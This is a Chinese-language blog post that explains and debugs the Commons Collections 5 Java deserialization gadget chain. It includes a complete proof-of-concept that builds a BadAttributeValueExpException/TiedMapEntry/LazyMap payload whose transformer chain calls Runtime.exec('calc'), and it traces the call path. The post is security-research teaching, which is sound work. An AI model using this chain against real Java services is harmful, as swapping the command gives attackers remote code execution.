zoukankan      html  css  js  c++  java
  • Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析

    文章首发:Java安全之Commons Collections5分析

    0x00 前言

    在后面的几条CC链中,如果和前面的链构造都是基本一样的话,就不细讲了,参考一下前面的几篇文。

    在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager需要是关闭的。先来介绍一下SecurityManager是干嘛的。SecurityManager也就是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。

    0x01 POC分析

    package com.test;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections4.keyvalue.TiedMapEntry;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    
    public class cc5 {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
            ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {
                            String.class, Class[].class }, new Object[] {
                            "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {
                            Object.class, Object[].class }, new Object[] {
                            null, new Object[0] }),
                    new InvokerTransformer("exec",
                            new Class[] { String.class }, new Object[]{"calc"})});
            HashMap innermap = new HashMap();
            LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
            TiedMapEntry tiedmap = new TiedMapEntry(map,123);
            BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
            Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
            val.setAccessible(true);
            val.set(poc,tiedmap);
    
            try{
                ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
                outputStream.writeObject(poc);
                outputStream.close();
    
                ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
                inputStream.readObject();
            }catch(Exception e){
                e.printStackTrace();
            }
        }
    }
    

    前面的上半段和CC1链是一模一样的,主要来分析在这两者中不同的部分。

    HashMap innermap = new HashMap();
            LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
            TiedMapEntry tiedmap = new TiedMapEntry(map,123);
            BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
            Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
            val.setAccessible(true);
            val.set(poc,tiedmap);
    

    前面的new了一个HashMap传入到LazyMap里面,同时也传入了 ChainedTransformer实例化对象,当调用get方法的时候,就会调用到 ChainedTransformertransformf方法,这个没啥好说的,老面孔了。前面也分析过好几回了。主要的是下面的这一段代码。

     TiedMapEntry tiedmap = new TiedMapEntry(map,123);
            BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
            Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
            val.setAccessible(true);
            val.set(poc,tiedmap);
    

    TiedMapEntry是一个新生面孔,来查看一下该类源码。

    该类的构造方法需要2个参数。所以我们的POC代码中,传入了一个LazyMap实例化对象和一个123的字符做占位。

    而在getValue方法里面就会去调用到刚刚赋值的map类get方法。前面我们传入的是LazyMap对象,这时候调用get方法的话,就和前面的串联起来达成命令执行了。这里先不做分析,来到下一步,查看一下,哪个地方会调用到该方法。

    而在toString方法里面就会去调用到getValue方法。

     BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
            Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
            val.setAccessible(true);
            val.set(poc,tiedmap);
    

    再来看下面一段代码,new了一个BadAttributeValueExpException的对象,并且反射获取val的值,将val的值设置为TiedMapEntry实例化对象。

    BadAttributeValueExpExceptionreadObject方法会获取到val的值,然后赋值给valObj变量,然后调用valObjtoString方法。

    0x02 CC5链调试

    readObject复写点打个断点,也就是BadAttributeValueExpExceptionreadObject方法。

    上面断点的地方会去获取val的值,赋值给valObj,前面我们使用反射将val设置为TiedMapEntry的对象。

    这里会去调用valObjtoString方法,也就是TiedMapEntrytoString方法。跟进一下该方法,查看调用。

    这里面会去调用getKeygetValue方法,这里选择跟踪getValue方法。

    这里的this.mapLazyMap实例化对象,是在创建TiedMapEntry对象的时候传参进去的。再跟进一下get方法就和前面调试CC1链的步骤一样了。

    这里会去调用this.factorytransform,也就是ChainedTransformertransform。再来跟进一下。

    接着就是遍历调用数组里面的transform方法。第一个值为ConstantTransformer,会直接返回传参的值。

    这里返回的是Runtime,将该值传入第二次的参数里面调用transform方法。

    第二次遍历的值是InvokerTransformer对象, 这里的transform方法会反射去获取方法并且进行执行。第二次执行返回的是Runtime.getRuntime的实例化对象。再传入到第三次执行的参数里面去执行。

    第三次去执行则是获取返回他的invoke方法,传入给第四次执行的参数里面。

    第四次执行里面的this.iMethodNameexec,this.iArgscalc。执行完成这一步过后就会去执行我们设置好的命令,也就是calc。弹出计算器。

    调用链

    BadAttributeValueExpException.readObject->TiedMapEntry.toString
    ->LazyMap.get->ChainedTransformer.transform
    ->ConstantTransformer.transform->InvokerTransformer.transform
    ->Method.invoke->Class.getMethod
    ->InvokerTransformer.transform->Method.invoke
    ->Runtime.getRuntime-> InvokerTransformer.transform
    ->Method.invoke->Runtime.exec
    

    0x03 结尾

    其实在该链的后面中,并没有写太详细,因为后面和CC1链中的都是一模一样的。如果没有去调试过的话,建议先去调试一下CC1的链

    WX:TG9yaTI1NDgyNjYxNDU= 欢迎各位师傅来一起做技术交流
  • 相关阅读:
    go学习-环境安装1-WIN10如何安装wsl2
    go学习-环境安装2-wsl2安装docker
    go学习-使用swagger生成接口文档
    go学习-WSL安装gcc
    go学习-如何修改Docker0的IP地址的默认网段
    go学习-go-sqlmock数据库操作测试
    go学习-环境安装3-wsl安装golang
    java基础学习-Stream API
    go学习-gorm
    go学习-获取form表单提交数据
  • 原文地址:https://www.cnblogs.com/nice0e3/p/13890340.html
Copyright © 2011-2022 走看看